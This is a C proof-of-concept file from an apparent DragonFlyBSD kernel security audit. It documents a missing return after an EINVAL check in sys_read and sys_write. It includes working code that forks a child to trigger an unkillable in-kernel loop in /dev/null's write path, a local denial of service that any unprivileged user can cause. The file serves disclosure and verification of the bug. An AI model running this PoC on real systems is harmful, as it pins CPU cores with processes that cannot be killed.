DragonFlyBSD Kernel Audit
DF-0023 / einval_noop.c
← back to finding ↓ download raw
/*
 * DF-0023 PoC - missing return after EINVAL makes the nbyte>SSIZE_MAX guard
 *              a no-op in sys_read / sys_write / sys_extpwrite.
 *
 * sys_read (sys/kern/sys_generic.c:130-131), sys_write (:336-337) and
 * sys_extpwrite (:368-369) do:
 *     if ((ssize_t)uap->nbyte < 0) error = EINVAL;     // NO return
 * The dead-stored EINVAL is overwritten by the subsequent kern_preadv/
 * kern_pwritev call, so passing nbyte with bit 63 set (> SSIZE_MAX) is NOT
 * rejected. The sibling sys_extpread (:161-162) implements the same check
 * correctly as `return(EINVAL);`, proving intent.
 *
 * OBSERVED IMPACT (stronger than the Info rating suggests):
 *   - read(/dev/null, buf, SIZE_MAX)  -> returns 0, errno=0  (should be EINVAL)
 *   - write(/dev/null, buf, SSIZE_MAX+1) -> HANGS in an infinite, UNINTERRUPTIBLE
 *     kernel loop. Root cause chain: huge nbyte reaches kern_memio.c:mmrw();
 *     there `u_int c` (32-bit, line 225) is assigned `c = iov->iov_len`
 *     (size_t 64-bit = 0x8000000000000000) => c truncated to 0; then
 *     uio_resid -= 0 never decreases and the `while (uio_resid > 0)` loop
 *     (line 232) spins forever. kill -9 cannot reap the process (it never
 *     leaves the kernel to take the signal). This is a local DoS: any
 *     unprivileged user can permanently pin a CPU core with an unkillable
 *     process.
 *
 * This PoC forks a child for the write() case so the PARENT survives to
 * report the hang; the child is deliberately orphaned in the kernel loop
 * (it cannot be killed - that itself is part of the evidence).
 *
 * Build (DragonFlyBSD):  cc -o einval_noop einval_noop.c
 * Run as an UNPRIVILEGED user.
 *
 * Expected (bug present):
 *   read(fd,buf,SIZE_MAX) = 0, errno=0 (NOT EINVAL)          <-- EINVAL bypass
 *   write child PID <n>: hung in kernel (DoS, kill -9 no-op)
 * Expected (fixed): read returns -1 errno=EINVAL; write child exits -1 EINVAL.
 */
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/wait.h>

int
main(void)
{
	int fd = open("/dev/null", O_RDWR);
	if (fd < 0) { perror("open"); return 1; }

	char buf[16];

	/* ---- READ path: shows the EINVAL guard is a no-op ---- */
	errno = 0;
	ssize_t r = read(fd, buf, (size_t)-1);		/* SIZE_MAX -> >SSIZE_MAX */
	int e = errno;
	printf("read(fd,buf,SIZE_MAX) = %zd, errno=%d (%s)\n",
	    r, e, e == EINVAL ? "EINVAL" : "NOT EINVAL");
	fflush(stdout);

	if (r == -1 && e == EINVAL) {
		printf("[note] read already returns EINVAL on this kernel "
		       "(maybe fixed); skipping write-hang probe.\n");
		return 0;
	}

	/* ---- WRITE path: demonstrates the DoS via a forked child ----
	 * The child calls write(nbyte = SSIZE_MAX+1) and never returns.
	 * Parent waits a few seconds; if the child is still alive the bug
	 * is confirmed.  We do NOT try to reap it (it cannot be killed). */
	pid_t pid = fork();
	if (pid == 0) {
		/* child: alarm as a backstop in case the kernel is fixed */
		alarm(8);
		size_t n = (size_t)1 << (sizeof(size_t) * 8 - 1); /* 0x8000...0 */
		errno = 0;
		ssize_t w = write(fd, buf, n);
		e = errno;
		/* If we reach here on a FIXED kernel, write returned EINVAL. */
		_exit(w < 0 ? (e > 0 && e < 256 ? e : 1) : 0);
	}
	if (pid < 0) { perror("fork"); return 1; }

	printf("write child PID %d: probing write(fd,buf,SSIZE_MAX+1)...\n",
	    (int)pid);
	fflush(stdout);

	sleep(4);			/* give the child time to wedge (or exit) */

	int status;
	pid_t w = waitpid(pid, &status, WNOHANG);
	if (w == 0) {
		printf("write child PID %d: HUNG in kernel after 4s "
		       "(DoS - uninterruptible infinite loop in mmrw)\n",
		       (int)pid);
		/* try to kill it to PROVE it's unkillable */
		if (kill(pid, SIGKILL) == 0) {
			sleep(1);
			pid_t w2 = waitpid(pid, &status, WNOHANG);
			printf("after SIGKILL: child %s (unkillable in kernel loop)\n",
			    w2 == 0 ? "STILL ALIVE" : "reaped");
		}
		fflush(stdout);
		/* leave the orphaned child wedged - it cannot be cleaned up;
		 * this is part of the DoS evidence. */
	} else if (w == pid) {
		printf("write child exited: status=0x%x (write returned, "
		       "errno path)\n", status);
	}

	return 0;
}